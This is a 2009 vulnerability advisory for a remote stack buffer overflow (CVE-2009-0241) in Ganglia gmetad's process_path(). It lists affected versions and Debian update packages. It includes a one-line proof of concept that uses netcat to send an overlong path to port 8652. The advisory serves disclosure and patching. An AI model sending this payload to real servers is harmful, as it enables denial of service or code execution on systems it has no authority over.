Ganglia gmetad 'process_path()' Remote Stack Buffer Overflow Vulnerability

Bugtraq ID:	33299
Class:	Boundary Condition Error
CVE:	CVE-2009-0241
Remote:	Yes
Local:	No
Published:	Jan 15 2009 12:00AM
Updated:	Jun 12 2009 06:19PM
Credit:	Spike Spiegel
Vulnerable:	S.u.S.E. openSUSE 11.1 S.u.S.E. openSUSE 11.0 S.u.S.E. openSUSE 10.3 Gentoo Linux Ganglia Ganglia 3.0.6 Ganglia Ganglia 3.0.5 Ganglia Ganglia 3.0.4 Ganglia Ganglia 3.0.3 Ganglia Ganglia 3.0.2 Ganglia Ganglia 3.0.1 Ganglia Ganglia 3.0 Ganglia Ganglia 2.0.1 Debian Linux 4.0 sparc Debian Linux 4.0 s/390 Debian Linux 4.0 powerpc Debian Linux 4.0 mipsel Debian Linux 4.0 mips Debian Linux 4.0 m68k Debian Linux 4.0 ia-64 Debian Linux 4.0 ia-32 Debian Linux 4.0 hppa Debian Linux 4.0 arm Debian Linux 4.0 amd64 Debian Linux 4.0 alpha Debian Linux 4.0
Not Vulnerable:

Ganglia gmetad 'process_path()' Remote Stack Buffer Overflow Vulnerability

Ganglia is prone to a remote stack-based buffer-overflow vulnerability because the software fails to perform adequate boundary checks on user-supplied input.

Attackers can leverage this issue to execute arbitrary code in the context of the application. Successful exploits will compromise the application and the underlying computer. Failed attacks will cause denial-of-service conditions.

Ganglia gmetad 'process_path()' Remote Stack Buffer Overflow Vulnerability

The following proof of concept is available:

echo "/`python -c \"print \\"%s/%s\\" % ('a'*300,'b'*300)\"`" |nc localhost 8652

Ganglia gmetad 'process_path()' Remote Stack Buffer Overflow Vulnerability

Solution:
Updates are available. Please see the references for more information.


Debian Linux 4.0 amd64

• Debian ganglia-monitor_2.5.7-3.1etch1_amd64.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/ga nglia-monitor_2.5.7-3.1etch1_amd64.deb


• Debian gmetad_2.5.7-3.1etch1_amd64.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/gm etad_2.5.7-3.1etch1_amd64.deb


• Debian libganglia1-dev_2.5.7-3.1etch1_amd64.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/li bganglia1-dev_2.5.7-3.1etch1_amd64.deb


• Debian libganglia1_2.5.7-3.1etch1_amd64.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/li bganglia1_2.5.7-3.1etch1_amd64.deb

Debian Linux 4.0 ia-32

• Debian ganglia-monitor_2.5.7-3.1etch1_i386.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/ga nglia-monitor_2.5.7-3.1etch1_i386.deb


• Debian gmetad_2.5.7-3.1etch1_i386.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/gm etad_2.5.7-3.1etch1_i386.deb


• Debian libganglia1-dev_2.5.7-3.1etch1_i386.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/li bganglia1-dev_2.5.7-3.1etch1_i386.deb


• Debian libganglia1_2.5.7-3.1etch1_i386.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/li bganglia1_2.5.7-3.1etch1_i386.deb

Debian Linux 4.0 arm

• Debian ganglia-monitor_2.5.7-3.1etch1_arm.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/ga nglia-monitor_2.5.7-3.1etch1_arm.deb


• Debian gmetad_2.5.7-3.1etch1_arm.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/gm etad_2.5.7-3.1etch1_arm.deb


• Debian libganglia1-dev_2.5.7-3.1etch1_arm.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/li bganglia1-dev_2.5.7-3.1etch1_arm.deb


• Debian libganglia1_2.5.7-3.1etch1_arm.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/li bganglia1_2.5.7-3.1etch1_arm.deb

Debian Linux 4.0 sparc

• Debian ganglia-monitor_2.5.7-3.1etch1_sparc.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/ga nglia-monitor_2.5.7-3.1etch1_sparc.deb


• Debian gmetad_2.5.7-3.1etch1_sparc.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/gm etad_2.5.7-3.1etch1_sparc.deb


• Debian libganglia1-dev_2.5.7-3.1etch1_sparc.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/li bganglia1-dev_2.5.7-3.1etch1_sparc.deb


• Debian libganglia1_2.5.7-3.1etch1_sparc.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/li bganglia1_2.5.7-3.1etch1_sparc.deb

Debian Linux 4.0 s/390

• Debian ganglia-monitor_2.5.7-3.1etch1_s390.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/ga nglia-monitor_2.5.7-3.1etch1_s390.deb


• Debian gmetad_2.5.7-3.1etch1_s390.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/gm etad_2.5.7-3.1etch1_s390.deb


• Debian libganglia1-dev_2.5.7-3.1etch1_s390.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/li bganglia1-dev_2.5.7-3.1etch1_s390.deb


• Debian libganglia1_2.5.7-3.1etch1_s390.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/li bganglia1_2.5.7-3.1etch1_s390.deb

Debian Linux 4.0 powerpc

• Debian ganglia-monitor_2.5.7-3.1etch1_powerpc.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/ga nglia-monitor_2.5.7-3.1etch1_powerpc.deb


• Debian gmetad_2.5.7-3.1etch1_powerpc.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/gm etad_2.5.7-3.1etch1_powerpc.deb


• Debian libganglia1-dev_2.5.7-3.1etch1_powerpc.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/li bganglia1-dev_2.5.7-3.1etch1_powerpc.deb


• Debian libganglia1_2.5.7-3.1etch1_powerpc.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/li bganglia1_2.5.7-3.1etch1_powerpc.deb

Debian Linux 4.0 alpha

• Debian ganglia-monitor_2.5.7-3.1etch1_alpha.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/ga nglia-monitor_2.5.7-3.1etch1_alpha.deb


• Debian gmetad_2.5.7-3.1etch1_alpha.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/gm etad_2.5.7-3.1etch1_alpha.deb


• Debian libganglia1-dev_2.5.7-3.1etch1_alpha.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/li bganglia1-dev_2.5.7-3.1etch1_alpha.deb


• Debian libganglia1_2.5.7-3.1etch1_alpha.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/li bganglia1_2.5.7-3.1etch1_alpha.deb

Debian Linux 4.0 mipsel

• Debian ganglia-monitor_2.5.7-3.1etch1_mipsel.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/ga nglia-monitor_2.5.7-3.1etch1_mipsel.deb


• Debian gmetad_2.5.7-3.1etch1_mipsel.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/gm etad_2.5.7-3.1etch1_mipsel.deb


• Debian libganglia1-dev_2.5.7-3.1etch1_mipsel.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/li bganglia1-dev_2.5.7-3.1etch1_mipsel.deb


• Debian libganglia1_2.5.7-3.1etch1_mipsel.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/li bganglia1_2.5.7-3.1etch1_mipsel.deb

Debian Linux 4.0 ia-64

• Debian ganglia-monitor_2.5.7-3.1etch1_ia64.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/ga nglia-monitor_2.5.7-3.1etch1_ia64.deb


• Debian gmetad_2.5.7-3.1etch1_ia64.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/gm etad_2.5.7-3.1etch1_ia64.deb


• Debian libganglia1-dev_2.5.7-3.1etch1_ia64.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/li bganglia1-dev_2.5.7-3.1etch1_ia64.deb


• Debian libganglia1_2.5.7-3.1etch1_ia64.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/li bganglia1_2.5.7-3.1etch1_ia64.deb

Debian Linux 4.0 mips

• Debian ganglia-monitor_2.5.7-3.1etch1_mips.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/ga nglia-monitor_2.5.7-3.1etch1_mips.deb


• Debian gmetad_2.5.7-3.1etch1_mips.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/gm etad_2.5.7-3.1etch1_mips.deb


• Debian libganglia1-dev_2.5.7-3.1etch1_mips.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/li bganglia1-dev_2.5.7-3.1etch1_mips.deb


• Debian libganglia1_2.5.7-3.1etch1_mips.deb
  http://security.debian.org/pool/updates/main/g/ganglia-monitor-core/li bganglia1_2.5.7-3.1etch1_mips.deb

Ganglia gmetad 'process_path()' Remote Stack Buffer Overflow Vulnerability

References:

• Vendor Homepage (Ganglia)
  
• [Ganglia-developers] patches for: [Sec] Gmetad server BoF and network overload (Spike Spiegel)